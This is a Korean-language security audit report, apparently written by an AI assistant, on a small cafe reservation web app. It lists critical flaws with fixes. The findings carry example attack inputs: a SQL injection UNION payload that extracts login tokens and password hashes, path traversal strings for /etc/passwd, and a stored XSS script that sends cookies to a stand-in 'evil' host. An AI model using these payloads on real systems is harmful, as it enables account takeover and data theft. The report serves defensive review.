코드를 모두 정독했습니다. 실행 PoC는 안전 분류기에 걸려 중단됐지만, 취약점 판정에는 정적 분석으로 충분합니다. 아래에 보고서로 정리합니다. (요청대로 코드는 수정하지 않았습니다.)
대상: app/ (server.py, db.py, views.py, config.py)
범위: 소스 정적 분석 (git 추적 파일 전체)
요약: 치명(Critical) 3건, 높음(High) 3건, 중간(Medium) 3건, 낮음/참고 다수.
/search (비인증)위치: app/db.py:66-70, 호출 app/server.py:45-47
f"SELECT id, guest_name, visit_time, people FROM reservations WHERE guest_name LIKE '%{name}%'"
사용자 입력 name이 f-string으로 쿼리에 그대로 삽입됩니다. /search는 인증이 전혀 없습니다.
/search?name=%' UNION SELECT token, phone, pw_hash, 1 FROM guests--
→ 모든 손님의 로그인 토큰 + 전화번호 + 비밀번호 해시가 결과 카드로 화면에 노출됩니다 (반환 4개 컬럼이 렌더링 컬럼과 일치).ATTACH/쓰기 가능 시) 데이터 변조.WHERE guest_name LIKE ?, 인자 ('%'+name+'%',). 더불어 /search에 인증·권한 통제 추가(C-3 참조)./receipt위치: app/server.py:49-57
path = os.path.join(config.RECEIPT_DIR, q.get("file", ""))
with open(path, "rb") as f: ...
file 값 검증이 없습니다. os.path.join은 절대경로가 들어오면 앞 경로를 버립니다.
/receipt?file=../../etc/passwd, /receipt?file=/etc/passwd, /receipt?file=../cafe.db
→ 서버의 임의 파일(시스템 파일, SQLite DB 파일 전체) 다운로드./register가 완전 공개라 누구나 토큰을 만들 수 있어 사실상 무력.os.path.realpath 결과가 RECEIPT_DIR 내부인지 검사, /·.. 거부.위치: app/server.py:37-47
/reservation?id=N (server.py:40): 로그인만 하면 db.get_reservation으로 아무 예약이나 조회. 예약의 guest_id와 요청자 신원을 대조하지 않음 → 전형적인 IDOR. id를 1부터 증가시키며 전 손님 예약(이름·방문시간·요청사항) 수집 가능./search (server.py:45): 비인증으로 이름 부분검색 → 손님 이름·방문시간·인원 열람. (C-1 SQLi와 별개로, 설계 자체가 PII 노출.)/reservation은 r['guest_id'] == g['id'] 확인. /search는 로그인·소유권 범위로 제한하거나 사장님 전용으로.note 미이스케이프위치: app/views.py:22 (admin_table)
f"<td>{int(r['people'])}</td><td>{r['note']}</td></tr>"
다른 필드는 html.escape하는데 note만 이스케이프 누락. note는 /reserve로 손님이 입력(server.py:80).
note=<script>fetch('//evil/?c='+document.cookie)</script>
→ 사장님이 /admin 열람 시 사장님 브라우저에서 스크립트 실행(저장형 XSS). 관리자 세션/권한 탈취로 이어질 수 있음.html.escape(r['note']).위치: app/server.py:59-61, app/config.py:10
?pw=...로 전달 → 서버 접근로그, 브라우저 히스토리, Referer 헤더에 평문 기록·유출.ADMIN_PASSWORD = "moonlight2026!"가 소스에 하드코딩되어 git에 커밋됨(저장소 접근자 전원이 사장님 비번 획득).!= 비교는 조기 종료되어 타이밍 공격에 노출.secrets.compare_digest. 커밋된 비번은 즉시 교체.위치: app/db.py:28-29
hashlib.md5(pw.encode()).hexdigest()
bcrypt/scrypt/argon2 또는 최소 hashlib.scrypt에 계정별 솔트./register가 무제한·무검증(server.py:70). 자동화로 토큰 양산 → C-2/C-3의 "인증 장벽"을 무력화하고, /login·/admin 비밀번호 무차별 대입에 대한 레이트리밋/잠금이 없음.
권고: 레이트리밋, 로그인 시도 제한, 캡차/전화 인증.
위치: app/db.py:20, 35, 49 — guests.token이 평문. DB 유출(C-1·C-2) 시 모든 세션 즉시 탈취.
권고: 토큰 해시 저장 후 대조, 만료·회전 도입.
int(q.get("id","0")), int(f.get("people","1")), int(self.headers.get("Content-Length",0)), f["phone"]·f["pw"] 등에서 잘못된/누락 입력 시 ValueError/KeyError가 처리되지 않아 500 및 스택트레이스. 중복 전화번호 가입 시 IntegrityError도 동일.HOST=127.0.0.1이나 배포 시)·CSRF 토큰 부재도 함께 검토 필요.
권고: 입력 검증·예외 처리, 일반화된 오류 응답./health의 subprocess.run(["date", ...]) — 리스트 인자·shell=False라 명령어 인젝션 아님(양호). 다만 입력도 안 받으므로 subprocess 대신 datetime이면 더 깔끔.list_today의 정렬 컬럼 — config.SORT_COLUMNS 화이트리스트로 매핑 후 삽입하여 SQLi 아님(양호한 패턴). 단, sort 미일치 시 기본값으로 안전하게 폴백됨.reservation_card/page/admin_table의 이름·시간·인원은 html.escape/int()로 적절히 처리됨(H-1의 note만 예외).note 이스케이프필요하시면 각 항목의 수정 패치(코드 변경)도 만들어 드리겠습니다 — 이번엔 지시하신 대로 분석·보고까지만 했습니다.